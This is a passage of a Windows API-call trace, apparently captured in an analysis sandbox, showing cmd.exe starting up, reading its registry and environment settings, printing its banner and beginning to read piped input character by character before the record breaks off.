SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0103.784] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0103.785] GetCurrentThreadId () returned 0xb48 [0103.785] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb48) returned 0x3c [0103.785] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0103.785] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0103.785] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.786] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0103.786] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32fb68 | out: phkResult=0x32fb68*=0x0) returned 0x2 [0103.786] VirtualQuery (in: lpAddress=0x32fb50, lpBuffer=0x32fad0, dwLength=0x30 | out: lpBuffer=0x32fad0*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.786] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32fad0, dwLength=0x30 | out: lpBuffer=0x32fad0*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.786] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32fad0, dwLength=0x30 | out: lpBuffer=0x32fad0*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.786] VirtualQuery (in: lpAddress=0x234000, lpBuffer=0x32fad0, dwLength=0x30 | out: lpBuffer=0x32fad0*(BaseAddress=0x234000, AllocationBase=0x230000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.786] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32fad0, dwLength=0x30 | out: lpBuffer=0x32fad0*(BaseAddress=0x330000, AllocationBase=0x330000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x43000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0103.786] GetConsoleOutputCP () returned 0x1b5 [0103.786] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.786] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0103.786] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.786] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0103.787] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.787] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0103.787] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.787] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0103.787] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.787] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 0 [0103.787] GetEnvironmentStringsW () returned 0x4abe60* [0103.790] FreeEnvironmentStringsW (penv=0x4abe60) returned 1 [0103.790] GetEnvironmentStringsW () returned 0x4abe60* [0103.793] FreeEnvironmentStringsW (penv=0x4abe60) returned 1 [0103.793] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32ea28 | out: phkResult=0x32ea28*=0x44) returned 0x0 [0103.793] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x0, lpData=0x32ea40*=0x18, lpcbData=0x32ea24*=0x1000) returned 0x2 [0103.793] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x1, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.793] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x0, lpData=0x32ea40*=0x1, lpcbData=0x32ea24*=0x1000) returned 0x2 [0103.793] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x0, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.793] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x40, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.793] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x40, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.793] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x0, lpData=0x32ea40*=0x40, lpcbData=0x32ea24*=0x1000) returned 0x2 [0103.793] RegCloseKey (hKey=0x44) returned 0x0 [0103.793] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32ea28 | out: phkResult=0x32ea28*=0x44) returned 0x0 [0103.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x0, lpData=0x32ea40*=0x40, lpcbData=0x32ea24*=0x1000) returned 0x2 [0103.794] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x1, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x0, lpData=0x32ea40*=0x1, lpcbData=0x32ea24*=0x1000) returned 0x2 [0103.794] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x0, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.794] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x9, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.794] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x4, lpData=0x32ea40*=0x9, lpcbData=0x32ea24*=0x4) returned 0x0 [0103.794] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ea20, lpData=0x32ea40, lpcbData=0x32ea24*=0x1000 | out: lpType=0x32ea20*=0x0, lpData=0x32ea40*=0x9, lpcbData=0x32ea24*=0x1000) returned 0x2 [0103.794] RegCloseKey (hKey=0x44) returned 0x0 [0103.794] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bd0 [0103.794] srand (_Seed=0x5be16bd0) [0103.794] GetCommandLineW () returned="cmd ; " [0103.794] GetCommandLineW () returned="cmd ; " [0103.794] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.794] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2003e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0103.794] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0103.794] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.794] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.794] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0103.794] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0103.795] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0103.795] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0103.795] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0103.795] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0103.795] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0103.795] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0103.795] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0103.795] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0103.795] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f830 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.795] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x32f830, lpFilePart=0x32f810 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x32f810*="Desktop") returned 0x19 [0103.795] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0103.796] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f540 | out: lpFindFileData=0x32f540) returned 0x20040a0 [0103.796] FindClose (in: hFindFile=0x20040a0 | out: hFindFile=0x20040a0) returned 1 [0103.796] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x32f540 | out: lpFindFileData=0x32f540) returned 0x20040a0 [0103.796] FindClose (in: hFindFile=0x20040a0 | out: hFindFile=0x20040a0) returned 1 [0103.796] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x32f540 | out: lpFindFileData=0x32f540) returned 0x20040a0 [0103.796] FindClose (in: hFindFile=0x20040a0 | out: hFindFile=0x20040a0) returned 1 [0103.796] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0103.796] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0103.796] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0103.796] GetEnvironmentStringsW () returned 0x4abe60* [0103.797] FreeEnvironmentStringsW (penv=0x4abe60) returned 1 [0103.797] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.797] GetConsoleOutputCP () returned 0x1b5 [0103.797] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.797] GetUserDefaultLCID () returned 0x409 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32f940, cchData=128 | out: lpLCData="0") returned 2 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32f940, cchData=128 | out: lpLCData="0") returned 2 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32f940, cchData=128 | out: lpLCData="1") returned 2 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0103.798] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0103.798] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0103.799] GetConsoleTitleW (in: lpConsoleTitle=0x2004110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.799] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.799] GetFileType (hFile=0x7) returned 0x2 [0103.799] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.799] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fa78 | out: lpMode=0x32fa78) returned 1 [0103.799] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.799] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x32fa90 | out: lpConsoleScreenBufferInfo=0x32fa90) returned 1 [0103.800] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.800] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x32fa40 | out: lpConsoleScreenBufferInfo=0x32fa40) returned 1 [0103.800] FillConsoleOutputAttribute (in: hConsoleOutput=0x7, wAttribute=0x7, nLength=0x5dc0, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x32fa78 | out: lpNumberOfAttrsWritten=0x32fa78) returned 1 [0103.800] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0x7) returned 1 [0103.801] BrandingFormatString () returned 0x2004330 [0103.830] GetVersion () returned 0x1db10106 [0103.830] _vsnwprintf (in: _Buffer=0x32fab0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x32fa48 | out: _Buffer="6.1.7601") returned 8 [0103.831] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.831] GetFileType (hFile=0x7) returned 0x2 [0103.831] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.831] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f9a8 | out: lpMode=0x32f9a8) returned 1 [0103.831] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.831] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x32f9e0 | out: lpConsoleScreenBufferInfo=0x32f9e0) returned 1 [0103.832] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a0f6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0103.832] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a0f6340, nSize=0x2000, Arguments=0x32fa50 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0103.832] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x24, lpNumberOfCharsWritten=0x32f9d0, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x32f9d0*=0x24) returned 1 [0103.832] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32fa78 | out: _Buffer="\r\n") returned 2 [0103.832] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.832] GetFileType (hFile=0x7) returned 0x2 [0103.833] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.833] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fa08 | out: lpMode=0x32fa08) returned 1 [0103.833] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.833] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x32fa48, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x32fa48*=0x2) returned 1 [0103.834] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x32fa78 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0103.834] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.834] GetFileType (hFile=0x7) returned 0x2 [0103.834] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.834] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fa08 | out: lpMode=0x32fa08) returned 1 [0103.834] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.834] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x32fa48, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x32fa48*=0x3f) returned 1 [0103.835] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32fa78 | out: _Buffer="\r\n") returned 2 [0103.835] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.835] GetFileType (hFile=0x7) returned 0x2 [0103.835] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.835] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32fa08 | out: lpMode=0x32fa08) returned 1 [0103.835] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.835] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x32fa48, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x32fa48*=0x2) returned 1 [0103.836] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0103.836] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0103.836] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0103.836] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0103.836] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.837] GetFileType (hFile=0x58) returned 0x3 [0103.837] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0103.838] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x32f8a0 | out: TokenHandle=0x32f8a0*=0x0) returned 0xc000007c [0103.838] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x32f8a0 | out: TokenHandle=0x32f8a0*=0x50) returned 0x0 [0103.838] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x32f8b0, TokenInformationLength=0x4, ReturnLength=0x32f8b8 | out: TokenInformation=0x32f8b0, ReturnLength=0x32f8b8) returned 0x0 [0103.838] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x32f8b8, TokenInformationLength=0x4, ReturnLength=0x32f8b0 | out: TokenInformation=0x32f8b8, ReturnLength=0x32f8b0) returned 0x0 [0103.838] NtClose (Handle=0x50) returned 0x0 [0103.838] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x32f5b8 | out: _Buffer="\r\n") returned 2 [0103.838] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.838] GetFileType (hFile=0x7) returned 0x2 [0103.839] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.839] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f548 | out: lpMode=0x32f548) returned 1 [0103.839] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.839] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x32f588, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x32f588*=0x2) returned 1 [0103.840] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.840] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.840] _vsnwprintf (in: _Buffer=0x4a0deb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x32f5c8 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25 [0103.840] _vsnwprintf (in: _Buffer=0x4a0deb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x32f5c8 | out: _Buffer=">") returned 1 [0103.840] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.840] GetFileType (hFile=0x7) returned 0x2 [0103.840] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.840] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x32f578 | out: lpMode=0x32f578) returned 1 [0103.841] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.841] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0deb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x32f5b8, lpReserved=0x0 | out: lpBuffer=0x4a0deb60*, lpNumberOfCharsWritten=0x32f5b8*=0x1a) returned 1 [0103.841] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.841] GetFileType (hFile=0x58) returned 0x3 [0103.841] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.841] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.841] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.841] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee320, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.841] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.841] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.841] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee322, cchWideChar=1 | out: lpWideCharStr=",") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.842] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee324, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.842] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.842] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee328, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.842] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.842] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.842] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.842] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 